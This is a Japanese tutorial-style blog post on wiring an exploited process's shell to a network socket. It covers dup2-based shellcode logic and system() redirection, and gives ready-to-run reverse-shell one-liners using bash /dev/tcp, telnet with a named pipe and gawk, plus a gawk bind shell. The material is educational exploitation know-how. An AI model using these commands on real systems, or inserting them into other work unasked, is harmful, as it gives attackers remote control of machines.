ネットワークソケットを利用したシェル起動

これまでのエントリでは、バッファオーバーフローなどにより起動させたシェルはローカルの端末から操作していた。 これをリモートからネットワーク越しに操作するには、シェルの標準入出力をネットワークソケットに繋ぎ変えておく必要がある。 ここでは、いくつかの方法でリモートからシェルを操作してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

ソケットとファイルディスクリプタについて調べてみる

まずはソケットとファイルディスクリプタの関係について確認するために、単純なTCPサーバを書いてみる。

/* tcpserver.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void handle_client(int c)
{
    char buf[100];
    snprintf(buf, sizeof(buf), "fd of client socket = %d\n", c);
    send(c, buf, strlen(buf), 0);
}

int main(int argc, char *argv[])
{
    int s, c;
    struct sockaddr_in addr;
    int port;
    int pid;

    port = atoi(argv[1]);

    s = socket(AF_INET, SOCK_STREAM, 0);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(s, (struct sockaddr *)&addr, sizeof(addr));

    listen(s, 5);

    while (1) {
        c = accept(s, NULL, NULL);
        pid = fork();
        if (pid == -1) {
            exit(1);
        } else if (pid == 0) {
            close(s);
            handle_client(c);
            close(c);
            return 0;
        } else {
            close(c);
            waitpid(pid, NULL, 0);
        }
    }
}

このプログラムは第一引数に与えたポート番号でTCP接続を待ち受け、クライアントからの接続が到着しだいforkして処理を行う。 なお、listenで指定しているbacklogの値5は、かつてのOSにおける制限(BSDWindows)にならって選択した。

コンパイルしてtcp/50000でサーバを起動し、ncコマンドから接続してみる。

$ gcc tcpserver.c

$ ./a.out 50000 &
[1] 3089

$ nc localhost 50000
fd of client socket = 4

$ nc localhost 50000
fd of client socket = 4

$ fg 1
./a.out 50000
^C

ここで返ってきている数字は、クライアントとの通信を行っているソケットを指すファイルディスクリプタの番号である。 ファイルディスクリプタ0、1、2はそれぞれ標準入力、標準出力、標準エラー出力であり、このプログラムの場合3がlistenでクライアントの接続を待ち受けるソケット、4がacceptで返ってくるクライアントとの通信用ソケットになる。 このコードでは、acceptでの接続確立に続くforkの後、親プロセスはクライアントソケットをcloseする。 これにより、接続を待ち受ける親プロセスのファイルディスクリプタ4は返却され、次のクライアントソケットにも4が割り当てられる。 もちろん他にファイルなどを開いている場合は、それに合わせてファイルディスクリプタの番号も変わる。

シェルコードで起動されるシェルをリモートから操作する

シェルコードで起動されるシェルをリモートから操作するには、execve(2)などを呼ぶ前にdup2(2)で標準入出力をソケットに差し替えればよい。 C言語で書くと次のようになる。

void handle_client(int c)
{
    char *args[] = {"/bin/sh", NULL};
    dup2(c, 0);
    dup2(c, 1);
    dup2(c, 2);
    execve(args[0], args, NULL);
}

実際には、ローカルで実行するなどしてcの値を調べた後、dup2(2)を呼んでいる部分をアセンブリコードで書きシェルコードの先頭に追加すればよい。 レジスタにcの値が入っている前提で、そのレジスタの値を利用したシェルコードを書くこともできる。

system関数で起動されるシェルをリモートから操作する

Return-to-libcでsystem関数を利用しシェルを起動する場合は、シェルの構文を使って標準入出力をソケットを指すファイルディスクリプタにすればよい。 c == 4のときの例をC言語で書くと次のようになる。

void handle_client(int c)
{
    system("/bin/sh <&4 >&4 2>&4");
}

なお、この方法はクライアントソケットが次のようにacceptされている場合には使えない。

c = accept4(s, NULL, NULL, SOCK_CLOEXEC);

これはSOCK_CLOEXECフラグにより、system関数でexecが行われる際にクライアントソケットcがcloseされてしまうためである。 次のようにfnctl(2)を使ってFD_CLOEXECフラグがセットされる場合も同様である。

#include <unistd.h>
#include <fcntl.h>

fcntl(c, F_SETFD, O_CLOEXEC);

bashを使ったconnect-back shell

まず、事前にローカルでncコマンドを使い接続を待ち受けておく。

$ nc -l 50001

リモートの環境で/bin/shbashを指している場合、system関数を使って次を実行すると指定した接続先への通信が発生し、これを介したシェルの操作ができるようになる。 ここで、localhost/50001の部分には実際に接続しに行くIPアドレス、ポート番号を指定する。 このようにリモートで待ち受けている先に接続しに行くシェルは、connect-back shellあるいはreverse shellと呼ばれる。

/bin/sh </dev/tcp/localhost/50001 >&0 2>&0

次のように、ソケットを一旦ファイルディスクリプタ9で開き、これを標準入出力としてシェルを起動することもできる。

/bin/sh 9<>/dev/tcp/localhost/50001 <&9 >&9 2>&9

また、>&fileで標準出力・標準エラー出力の両方をリダイレクトできることを利用すると、次のような書き方もできる。

/bin/sh >&/dev/tcp/localhost/50001 <&1

system関数で立ち上がるシェルがbashでない場合は、次のようにbashを介して実行すればよい。

exec bash -c '/bin/sh </dev/tcp/localhost/50001 >&0 2>&0'

telnetを使ったconnect-back shell

telnetと名前付きパイプを使い、connect-back shellを立ち上げる方法もある。

rm -f /tmp/p && mkfifo /tmp/p && /bin/sh </tmp/p 2>&1 | telnet localhost 50001 >/tmp/p

この場合、シェルの出力が通常のパイプを通して通信先への入力となると同時に、通信先での出力が名前付きパイプ/tmp/pを通してシェルへの入力となる。

gawkを使ったbind shell & connect-back shell

リモートの環境にgawkがある場合、gawkのネットワーク機能を使ってgawkをシェルのように動作させることもできる。

次のようにすると、tcp/50000で待ち受けるbind shellが立ち上がる。

gawk 'BEGIN{s="/inet/tcp/50000/0/0";while(s|&getline c){while(c&&c|&getline)print|&s;close(c)}}'

また、次のようにすると、localhosttcp/50001に接続しに行くconnect-back shellが立ち上がる。

gawk 'BEGIN{s="/inet/tcp/0/localhost/50001";while(s|&getline c){while(c&&c|&getline)print|&s;close(c)}}'

関連リンク